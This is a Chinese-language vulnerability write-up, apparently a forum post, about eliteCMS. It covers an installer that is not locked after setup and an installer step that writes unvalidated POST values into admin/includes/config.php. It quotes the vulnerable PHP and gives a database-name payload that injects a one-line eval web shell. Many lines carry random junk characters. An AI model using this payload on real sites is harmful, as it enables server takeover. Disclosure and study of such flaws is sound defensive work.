eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
: X' n( n! j* U$ m9 r7 _; y我们来看代码：

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5 Z+ F1 z6 s' T8 Relseif ($_GET['step'] == "4") {
$ z& A3 @% Q1 a    $file = "../admin/includes/config.php";
    $write = "<?php\n";
& _' U: U! g, J, B1 V0 A    $write .= "/**\n";
3 G5 o* H* F& d2 O# j% ]9 N, j    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
/ n- q' d4 \4 Y. x  L9 z6 b...略...
4 p' R+ y" J! v7 C2 W    $write .= "*\n";
( n1 R1 I( B, F    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
3 s) Z* G- a5 ^/ u, M    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
7 y, \2 b- u7 C2 A) F    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
9 ]2 ^+ ^* s+ g  h4 H: q! Y( P    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
9 e4 f; G7 u( ~! j8 T    $write .= "} \n";
5 _4 F+ B% G2 s6 F; q& Q    $write .= "?>\n";
* P# R7 c6 h' t/ e
    $writer = fopen($file, 'w');
% L4 P; j7 [  W...

在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
) {+ x1 I0 g, z6 i# @" S$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
- M. R  U% c8 \+ M; T$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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取值未作任何验证
如果将数据库名POST数据：
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"?><?php eval($_POST[c]);?><?php
& W  Z' \# Z& y6 x$ f+ [4 B( w: X
将导致一句话后门写入/admin/includes/config.php